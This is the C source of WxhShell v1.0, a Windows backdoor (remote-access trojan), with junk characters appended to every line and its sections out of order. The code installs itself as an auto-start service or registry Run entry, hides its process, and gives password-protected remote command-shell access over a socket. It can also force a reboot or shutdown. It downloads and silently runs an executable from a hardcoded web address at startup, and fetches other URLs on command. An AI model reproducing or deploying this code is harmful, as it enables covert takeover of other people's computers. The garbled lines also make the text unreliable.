    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J p'^!  
    else { {L-^J`> G  
    closesocket(wsh); EXDDUqZ5\  
    ExitThread(0); L&pR#  
    } CX|W$b)%  
    break; 1d5%(:@  
    } /2tA n  
  // 获取shell %*R, ceuI  
  case 's': { 19E(Hsz  
    CmdShell(wsh); ^O07GYF  
    closesocket(wsh); r,6~%T0  
    ExitThread(0); >mb}~wx`  
    break; j4~(6Imm  
  } @8L5 UT  
  // 退出 M\]lNQA  
  case 'x': { i|eX X)$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X +`Dg::  
    CloseIt(wsh); +A}t_u3<  
    break; fap`;AuwK  
    } r w?wi}}gn  
  // 离开 6jq*lnA%  
  case 'q': { q0.!T0i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IZZAR  
    closesocket(wsh); ^'`b\$km-0  
    WSACleanup(); c4H6I~2Na  
    exit(1); =7 l uV_5  
    break; Y2`sL,'h  
        } uo"<}>iJ  
  } 1&w%TRC2x  
  } 7^gO>2~  
jPWONz(#  
  // 提示信息 Od!)MQ*,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IWv 9!lW  
} pN9!  
  } [\8rh^LFi  
VGS%U8;  
  return; L!}!k N:?  
} `<7\Zl  
$$9H1)Ny  
// shell模块句柄 [JOa^U=  
int CmdShell(SOCKET sock) yGa0/o18!?  
{ #(^<qr   
STARTUPINFO si; |AYii-g  
ZeroMemory(&si,sizeof(si)); 4 &bmt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mskG2mA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4.O)/0sU  
PROCESS_INFORMATION ProcessInfo; XZE(& (s  
char cmdline[]="cmd"; G5}_NS/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;hT3N UCA  
  return 0; )D8op;Fn  
} UmR)L!QT8  
8eXe b|?J  
// 自身启动模式 0D5Z#iW>1  
int StartFromService(void) q5f QTV  
{ ]#o;`5'  
typedef struct R"cQyG4  
{ iOiF kka  
  DWORD ExitStatus; 6n9/`D!  
  DWORD PebBaseAddress; 4|x _C-@  
  DWORD AffinityMask; t&?jJ7 (&8  
  DWORD BasePriority; "f91YX_)  
  ULONG UniqueProcessId; -.D?Z8e  
  ULONG InheritedFromUniqueProcessId; v=k+MvX  
}   PROCESS_BASIC_INFORMATION; i}m'#b  
d{fd5jv;  
PROCNTQSIP NtQueryInformationProcess; lR?y tIY  
RY;V@\pRY+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <B6md i'R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EyK!'9~a  
M5I`i{Gw  
  HANDLE             hProcess; g QBS#NY  
  PROCESS_BASIC_INFORMATION pbi; T+Yv5l  
x^lc T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )1At/mr  
  if(NULL == hInst ) return 0; KI9Pw]]{-  
9PB%v.t5 y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9vRLM*9|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t0 e6iof^o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Na.C(DZ  
&M|rRd~*  
  if (!NtQueryInformationProcess) return 0; /stvNIEa  
mV}bQ^*?Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xp|1yud  
  if(!hProcess) return 0; ^Mq/Cf_T  
gC$_yd6m L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u`v&URM  
By1T um+I1  
  CloseHandle(hProcess); c7CYulm  
.gO|=E"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +$C9@CZM9  
if(hProcess==NULL) return 0; %R GZu\p  
o*K7(yUL4  
HMODULE hMod; CR [>5/:M  
char procName[255]; DuC#tDP  
unsigned long cbNeeded; K~:SLCv E%  
rWr'+v?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `l45T~`]$  
c/ Pql!h+  
  CloseHandle(hProcess); []>rYZ9bv  
-mO#HZIq  
if(strstr(procName,"services")) return 1; // 以服务启动 q^xG%YdPz+  
"M/c0`>C!i  
  return 0; // 注册表启动 {IOc'W-C#2  
} -nGcm"'6F  
=-^A;AO(  
// 主模块 > TYDkEs0  
int StartWxhshell(LPSTR lpCmdLine) Noj*K6  
{ vA6`};|  
  SOCKET wsl; ;Z*rY?v  
BOOL val=TRUE; eg;r38   
  int port=0; z}-CU GS  
  struct sockaddr_in door; n n F  
6%V:Z  
  if(wscfg.ws_autoins) Install(); HS |Gz3~  
$~5H-wJ  
port=atoi(lpCmdLine); #?)6^uTW  
j \r GU){  
if(port<=0) port=wscfg.ws_port; b_sasZo  
B  W*8  
  WSADATA data; & %/p; ::A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dOv\]  
DOyO`TJi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   18X?CoM~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h1S)B|~8  
  door.sin_family = AF_INET; (?Ko:0+*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .6MG#N  
  door.sin_port = htons(port); hTa X@=Ra  
P4B|l:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qt9jZtx  
closesocket(wsl); A{> w5T  
return 1; 0_qr7Ui8(  
} =mLp g4  
T;DKDg a  
  if(listen(wsl,2) == INVALID_SOCKET) { XW aa`q  
closesocket(wsl); YWU@e[  
return 1; xY?p(>(  
} 'jO2pH/%  
  Wxhshell(wsl); _N;@jq\q  
  WSACleanup(); )ThNy:4  
C9+rrc@4  
return 0; (-yif&  
by1q"\-,  
} NK|U:p2H  
cq>J]35  
// 以NT服务方式启动 y)KIz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u.q3~~[=  
{ Y nnK]N;\x  
DWORD   status = 0; ;40Z/#FI  
  DWORD   specificError = 0xfffffff; f\5w@nX  
G9Xkim Q'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m?wQk:Y1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q>Ct]JW&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9]N{8  
  serviceStatus.dwWin32ExitCode     = 0; qJF'KHyU{l  
  serviceStatus.dwServiceSpecificExitCode = 0; wdj?T`4  
  serviceStatus.dwCheckPoint       = 0; <e#v9=}DI  
  serviceStatus.dwWaitHint       = 0; 2XL^A[?   
z:S:[X 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uPl7u 1c  
  if (hServiceStatusHandle==0) return; +6>2= ,?Z  
z~f;}`0  
status = GetLastError(); mNC?kp  
  if (status!=NO_ERROR) @5&57R3>  
{ gGE{r}$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n3?P8m$  
    serviceStatus.dwCheckPoint       = 0; psvc,V_*  
    serviceStatus.dwWaitHint       = 0; X"3p/!W.4  
    serviceStatus.dwWin32ExitCode     = status; Q}Ah{H0C  
    serviceStatus.dwServiceSpecificExitCode = specificError; y~*B%KnEQy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tX% C5k  
    return; ,eTdQI;   
  } _3W .:  
EwcFxLa!F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8p829  
  serviceStatus.dwCheckPoint       = 0; NI"Zocp  
  serviceStatus.dwWaitHint       = 0; o~Hq&C"^}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (]sm9PO  
} *0oa2fz%  
*DcIC]ao[  
// 处理NT服务事件,比如:启动、停止 AHr^G'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hgYFR6VH  
{ `6-flc0r  
switch(fdwControl) BO}IN#  
{ OqsuuE  
case SERVICE_CONTROL_STOP: Q`K^>L1  
  serviceStatus.dwWin32ExitCode = 0; -hfDf{QN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wL3BgCxqDL  
  serviceStatus.dwCheckPoint   = 0; %{'[S0@Z  
  serviceStatus.dwWaitHint     = 0; tYMr  
  { 8~qpOQX^V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #k<l5x`  
  } {R(/Usg!=  
  return; A' ![*O  
case SERVICE_CONTROL_PAUSE: Jv 5l   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aPe*@py3T  
  break; O:+y/c  
case SERVICE_CONTROL_CONTINUE: Uf_mwEE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7#"y mE  
  break; Z}zka<y6K6  
case SERVICE_CONTROL_INTERROGATE: D]d! lMK/  
  break; B^M L}$  
}; pHk$_t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wqm{f~nj=  
} vR#MUKfh  
fWJOP sp*/  
// 标准应用程序主函数 g<~ODMCO?W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) orWF>o=1  
{ 5Th\wTh04  
\3(s&K\Y6\  
// 获取操作系统版本  o4 "HE*  
OsIsNt=GetOsVer(); 1Z_]Ge<a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .rg "(I  
L4+R8ojG  
  // 从命令行安装 J7wwM'\  
  if(strpbrk(lpCmdLine,"iI")) Install(); r_ m|?U %  
rx]Q,;"  
  // 下载执行文件 ku57<kb  
if(wscfg.ws_downexe) { [GM!@6U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ZJ)>gV  
  WinExec(wscfg.ws_filenam,SW_HIDE); )2Q0NbDn  
} #WUN=u   
8>|4iT  
if(!OsIsNt) { i< imE#  
// 如果时win9x,隐藏进程并且设置为注册表启动 /QlzWson  
HideProc(); _Q\rZ l  
StartWxhshell(lpCmdLine); 9JMf T]  
} A$~H`W<yxB  
else i+Ne.h  
  if(StartFromService()) q}'<[Wg  
  // 以服务方式启动 @w%kOX  
  StartServiceCtrlDispatcher(DispatchTable); [vBP,_Tjx  
else tOF8v8Hd  
  // 普通方式启动 kSJ;kz,_  
  StartWxhshell(lpCmdLine); "a _S7K  
@G=:@;  
return 0; x5#Kk.  
} [N*S5^>1  
 OvC@E]/+  
MD;,O3Ge  
&H,UWtU+  
=========================================== mWoN\Rwj  
)abH//Pps.  
lZ"C~B}9:I  
$^e_4]k  
p&xj7qwp@F  
"FE%k>aV@v  
" vPZ0?r_5W  
7k#>$sY+  
#include <stdio.h> HWL? doM  
#include <string.h> $Zi {1w  
#include <windows.h> 0ikA@SAq  
#include <winsock2.h> : @gW3'  
#include <winsvc.h> e'v_eD T^  
#include <urlmon.h> /lHs]) ,  
e v7A;;  
#pragma comment (lib, "Ws2_32.lib") Nb0T3\3W  
#pragma comment (lib, "urlmon.lib") RY,L'Gt O  
VK%ExMSqEh  
#define MAX_USER   100 // 最大客户端连接数 PJKxh%J  
#define BUF_SOCK   200 // sock buffer {poTA+i  
#define KEY_BUFF   255 // 输入 buffer m,4'@jg0  
uW(Ngcpr  
#define REBOOT     0   // 重启 C3<_0eI  
#define SHUTDOWN   1   // 关机 w(M i?  
Nhjz~S<o  
#define DEF_PORT   5000 // 监听端口 VzM (u _)  
L'a s^Od  
#define REG_LEN     16   // 注册表键长度 je:J`4k$  
#define SVC_LEN     80   // NT服务名长度 |jWA >S  
&` "uKO]  
// 从dll定义API =(<7o_gJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @71y:)W<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qc 1mR\.5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); % 5!Y#$:{o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : T4ap_Ycq  
p8CaD4bE  
// wxhshell配置信息 1 !.P H   
struct WSCFG { I=E\=UTG,5  
  int ws_port;         // 监听端口 ;$r!eFY;  
  char ws_passstr[REG_LEN]; // 口令 Nw1 .x  
  int ws_autoins;       // 安装标记, 1=yes 0=no U|+`Eth8(  
  char ws_regname[REG_LEN]; // 注册表键名 ccW{88II7w  
  char ws_svcname[REG_LEN]; // 服务名 #\}xyPS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p2GN93,u@P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q~\[P4m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p|r>tBv?x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qm=9!jqC;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )qWO}]F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p:!FB8  
(/P-9<"U  
}; MA mjoH  
V2 }.X+u&<  
// default Wxhshell configuration _2})URU< S  
struct WSCFG wscfg={DEF_PORT, ;[,#VtD  
    "xuhuanlingzhe", 2Aq+:ud)P  
    1, !uKuO  
    "Wxhshell", z)&&Ym#  
    "Wxhshell", ]V"B`ip[2  
            "WxhShell Service", U`4t4CHA  
    "Wrsky Windows CmdShell Service", U<yKC8  
    "Please Input Your Password: ", w 3L+7V,!  
  1, $yZP"AsAR  
  "http://www.wrsky.com/wxhshell.exe", QSo48OFs  
  "Wxhshell.exe" [!#;QQ&M  
    }; U,`F2yD/!  
KXo[;Db)k  
// 消息定义模块 {*Qx^e`h$.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `LWbL*;Y0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y|#Fu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \FIOFbwe  
char *msg_ws_ext="\n\rExit."; z)FGbX  
char *msg_ws_end="\n\rQuit."; !`dn# j  
char *msg_ws_boot="\n\rReboot..."; rIj B{X{Z  
char *msg_ws_poff="\n\rShutdown..."; ({t6Cbw  
char *msg_ws_down="\n\rSave to "; ( 2KopL  
n*qn8Dq  
char *msg_ws_err="\n\rErr!"; )]JQlm:H  
char *msg_ws_ok="\n\rOK!"; e5sQl1  
)|U+<r<  
char ExeFile[MAX_PATH]; XCO;t_%  
int nUser = 0; ]!N|3"Ls  
HANDLE handles[MAX_USER]; -fx$)d~  
int OsIsNt; wo) lkovd  
,Ct1)%   
SERVICE_STATUS       serviceStatus; U$IB_a2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i~*#z&4A+  
#|}EPD9$  
// 函数声明 PkdL] !:  
int Install(void); Kx,<-]4  
int Uninstall(void); ,NU`aG-  
int DownloadFile(char *sURL, SOCKET wsh); *i7|~q/u  
int Boot(int flag); K&iU+  
void HideProc(void); rge/qUr/^  
int GetOsVer(void); :LR>U;2  
int Wxhshell(SOCKET wsl); )G|'PXI@,  
void TalkWithClient(void *cs); (DKQHL;  
int CmdShell(SOCKET sock); TP)}1 @  
int StartFromService(void); safI`b w1  
int StartWxhshell(LPSTR lpCmdLine); hzy#%FaB  
4{=^J2z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]A:G>K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5SHZRF(. 2  
5q.)K f+  
// 数据结构和表定义 E"Y[k8-:2/  
SERVICE_TABLE_ENTRY DispatchTable[] = Ivc/g,  
{ sMWNzt  
{wscfg.ws_svcname, NTServiceMain}, )L7h:%h#  
{NULL, NULL} HS 1zA  
}; NB)22 %  
e:WKb9nT  
// 自我安装 Mvlqx J$  
int Install(void) Q2xzux~T  
{ 8}!WJ2[R  
  char svExeFile[MAX_PATH]; Sa$-Yf  
  HKEY key; H_7EK  
  strcpy(svExeFile,ExeFile); ksli-Px  
^/$bd4,z  
// 如果是win9x系统,修改注册表设为自启动 kt hy9<!$  
if(!OsIsNt) { m2PI^?|e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 10e~Yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1ihdH1rg[  
  RegCloseKey(key); [-JU(:Rh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zM|Y X<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &\M<>>IB  
  RegCloseKey(key); QetyuhS~  
  return 0; _{YUWV50}  
    } 2lRE+_qz  
  } 7,Q>>%/0P  
} :^992]EBEj  
else { GA"zO,  
p6W|4_a?  
// 如果是NT以上系统,安装为系统服务 lH 1gWe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _air'XQ&!  
if (schSCManager!=0) pu6@X7W"  
{ pK@8= +  
  SC_HANDLE schService = CreateService i}r|Zo  
  ( di]TS9&9  
  schSCManager, 5X,|Pn  
  wscfg.ws_svcname, rE$=~s  
  wscfg.ws_svcdisp, ~k'SP(6#C  
  SERVICE_ALL_ACCESS, p;9"0rj,z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bh<6J&<n  
  SERVICE_AUTO_START, 0ZJt  
  SERVICE_ERROR_NORMAL, OS$^>1f"  
  svExeFile, K0] 42K  
  NULL, Q}:#H z?U  
  NULL, 5? 1:RE(1  
  NULL, #>dj!33  
  NULL, FkY <I]F  
  NULL X_2p C|C  
  ); <K zEn+  
  if (schService!=0) , FD RU  
  {  MON]rj7  
  CloseServiceHandle(schService); *'hJ5{U  
  CloseServiceHandle(schSCManager); 6 ly`lu9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R&]#@PW^  
  strcat(svExeFile,wscfg.ws_svcname); *32hIiCm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =/MA`>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cCbZ*  
  RegCloseKey(key); M)j.Uu  
  return 0;  &'<e9  
    } 8XdgtYm  
  } S!+}\*  
  CloseServiceHandle(schSCManager); eNX!EN(^  
} 8t >nL  
} bE>"DP q  
nb}rfd.  
return 1; -|_MC^)  
} Y2Y)|<FH  
b]k9c1x  
// 自我卸载 M.?[Xpa  
int Uninstall(void) ~l"]J'jF"H  
{ bn6WvC 3?  
  HKEY key; k}FmdaPI'  
I::|d,bR!  
if(!OsIsNt) { ]YWz;Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dg o -Os@  
  RegDeleteValue(key,wscfg.ws_regname); H[D<G9:  
  RegCloseKey(key); F;sZc,Y,^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1j?+rs+o-  
  RegDeleteValue(key,wscfg.ws_regname); _|I`A6`=  
  RegCloseKey(key); /l1OC(hm  
  return 0; VHqHG`}:  
  } /Xk-xg+U  
} jcL%_of  
} +Fa!<txn  
else { `R6dnbH  
cogIkB&Ju  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,u_ Z0S M  
if (schSCManager!=0) NWS3-iZ|8  
{ < wi9   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m6Mko2  
  if (schService!=0) t4v@d  
  {  HvzXAd  
  if(DeleteService(schService)!=0) { h'ik19  
  CloseServiceHandle(schService); v8f1o$R  
  CloseServiceHandle(schSCManager); _=-B%m  
  return 0; V;29ieE!  
  } 3>QkO.b  
  CloseServiceHandle(schService); w?:tce   
  } @A'@%Zv-  
  CloseServiceHandle(schSCManager); 'M!M$<j  
} Lz{z~xNHW.  
} !QS j*)V#  
^xm%~   
return 1; dJ>~  
} cp$GP*{@  
"Tz'j}< 9C  
// 从指定url下载文件 @|([b r|O  
int DownloadFile(char *sURL, SOCKET wsh) :T )R;E@  
{ WT63ve  
  HRESULT hr; ?"$Rw32  
char seps[]= "/"; V@rqC[on  
char *token; ^:~!@$*;6  
char *file; A~}5T%qb  
char myURL[MAX_PATH]; ]p!)8[<  
char myFILE[MAX_PATH]; `3:Q.A_?  
a'Yi^;2+\  
strcpy(myURL,sURL); %z~=Jz^  
  token=strtok(myURL,seps); ,0a\Ka {^  
  while(token!=NULL) ( 4(,"  
  { "fu:hHq  
    file=token; Z0%:j\W4c  
  token=strtok(NULL,seps); 4i7+'F  
  } 49.B!DqQW&  
5Mz:$5Tm  
GetCurrentDirectory(MAX_PATH,myFILE); 1]69S(  
strcat(myFILE, "\\"); Kf1NMin7  
strcat(myFILE, file); pZz\o  
  send(wsh,myFILE,strlen(myFILE),0); [ylRq7^e  
send(wsh,"...",3,0); 7YFEyX10d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /mXxj93UA  
  if(hr==S_OK) lFl(Sww!\  
return 0; # /Bg5:  
else % :h %i|  
return 1; 6=:s3I^  
`I.pwst8i-  
} d}Q% I  
Q_>W!)p Gz  
// 系统电源模块 R,ZG?/#uM9  
int Boot(int flag) k(he<-GF\  
{ MX iQWg$  
  HANDLE hToken; dTjDVq&Hz  
  TOKEN_PRIVILEGES tkp; 6EeO\Qj{  
|j~l%d*<w  
  if(OsIsNt) { _"*}8{|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vUCmm<y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;5DDV6  
    tkp.PrivilegeCount = 1; \PWH( E9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;y_]w6|n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0SDnMij&bf  
if(flag==REBOOT) { # %EHcgF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4Cv*zn  
  return 0; (x fN=Te,-  
} ``%yVVg}  
else { T'{9!By,P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k/(]1QnW  
  return 0; w2db=9  
} j#0JD!Vr  
  } F1A40h7R$Y  
  else { 1ktxG1"1  
if(flag==REBOOT) { $<yhEvv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .5uqc.i"f  
  return 0; =*1NVi $n  
} e3ce?gk  
else { `Qjs {H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |]?zH~L  
  return 0; 0` .5gxm  
} L 0oVXmlr  
} |Ve,Y  
VD< z]@  
return 1; G[1\5dK*uR  
} ?}uuTNLl)  
h aApw(.%  
// win9x进程隐藏模块 NBHpM}1xtU  
void HideProc(void) C~R ?iZ.&U  
{ f ,4erTBH  
. P+Qu   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MqJ5|C.q  
  if ( hKernel != NULL )  +IO>%  
  { m7DKC,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J\P6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *MB >,HU  
    FreeLibrary(hKernel); g(Q1d-L4e  
  } K|YB)y  
aCI3Tx&2qT  
return; K{{_qFj@<y  
} zCuB+r=C  
fjOq@thD  
// 获取操作系统版本 T;?k]4.X  
int GetOsVer(void) xJ2I@*DN  
{ a|"Uw `pX+  
  OSVERSIONINFO winfo; i[@13kr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2j}DI"|h  
  GetVersionEx(&winfo); +FAj30  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [q_+s  
  return 1; UKQ"sC  
  else 4(8tr D6  
  return 0; r0 )ne|&Hp  
} 1Dl6T\20  
> (9\ cF{  
// 客户端句柄模块 Zskj?+1  
int Wxhshell(SOCKET wsl) -5 8q 6yA  
{ 9 @xl{S-  
  SOCKET wsh; nQoQNB  
  struct sockaddr_in client; J|].h  
  DWORD myID; ?*%_:fB  
( *Xn"o  
  while(nUser<MAX_USER) (6 Od   
{ f um.G{}  
  int nSize=sizeof(client); P.qzP/Ny  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y?3.W  
  if(wsh==INVALID_SOCKET) return 1; ]jFl?LA%7  
EG;E !0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tKeTHj;jO  
if(handles[nUser]==0) B+snHabS6  
  closesocket(wsh); !TJ,:c]4{!  
else {*AA]z? zo  
  nUser++; |PlNVd2  
  } Hddc-7s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~y2zl  
>a,D8M?  
  return 0; ]Ob|!L(  
} 18!y7 _cFT  
##*]2Dy  
// 关闭 socket 4uo`XJuQ  
void CloseIt(SOCKET wsh) dniU{v  
{ :#pdyJQ_  
closesocket(wsh); Iz5NA0[=2  
nUser--; 8v4 o+w P  
ExitThread(0); #5Z`Q^  
} IF|6iKCE  
=y4dR#R(\  
// 客户端请求句柄 QCF'/G  
void TalkWithClient(void *cs) ^w.hI5ua)  
{ ~?AEtl#&"  
PmRvjSIG  
  SOCKET wsh=(SOCKET)cs; J+J,W5t^  
  char pwd[SVC_LEN]; yGf7k>K'  
  char cmd[KEY_BUFF]; ]m b8R:a1  
char chr[1]; 7l=;I%  
int i,j; O,%,dtD[a  
w{6C4~0  
  while (nUser < MAX_USER) { odsFgh  
AQg|lKv  
if(wscfg.ws_passstr) { m|;(0 rft  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ph.c*c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u] };QR  
  //ZeroMemory(pwd,KEY_BUFF); =O![>Fu5  
      i=0; @)?]u U"L  
  while(i<SVC_LEN) { ? T6K]~g  
) ;\c{QF  
  // 设置超时  ir6' \  
  fd_set FdRead; *[3xc*5F/A  
  struct timeval TimeOut; _!R$a-  
  FD_ZERO(&FdRead); )rD!4"8/A  
  FD_SET(wsh,&FdRead); x8PT+KC  
  TimeOut.tv_sec=8; N8b\OTk2  
  TimeOut.tv_usec=0; fI613ww]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hTr5Q33y>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3}0\W.jH  
6'r8.~O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DPTk5o[  
  pwd=chr[0]; $'4 98%K2  
  if(chr[0]==0xd || chr[0]==0xa) { t'v t'[~,U  
  pwd=0; 0jf6 z-4  
  break; sQvRupYRO  
  } :oP LluW*  
  i++; :TH cI;PG8  
    } 2 }r=DAe0  
<EpL<K%  
  // 如果是非法用户,关闭 socket rp||#v0l!w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4VWk/HK-!  
} G^~[|a 4`  
Xv8-<Ks  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L>1hiD&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y$ ys4X  
PgWWa*Ew  
while(1) { 9CY{}g  
#) aLD0p  
  ZeroMemory(cmd,KEY_BUFF); $*fJKR_N  
Ae+)RBpc  
      // 自动支持客户端 telnet标准   /o9T [ ^\  
  j=0; H\67Pd(Z6  
  while(j<KEY_BUFF) { Az`Aa0h]7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c=oDzAzuV\  
  cmd[j]=chr[0]; Y%s:oHt  
  if(chr[0]==0xa || chr[0]==0xd) { 1iy$n  
  cmd[j]=0; F4EAC|Y  
  break; I,j4 BU4  
  } mL{P4a 1xf  
  j++;  `Y#At3{  
    } 5Q?Jm~H9  
z8Q!~NN-K  
  // 下载文件 *qd:f!Q3  
  if(strstr(cmd,"http://")) { <'a~Y3B"o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Y'iX   
  if(DownloadFile(cmd,wsh)) ~t`^|cr|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XA>W >|  
  else <v_=k],W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UN]gn>~j  
  } {PHH1dC{  
  else { J D\tt-  
tE7jTe  
    switch(cmd[0]) { m&UP@hUV-  
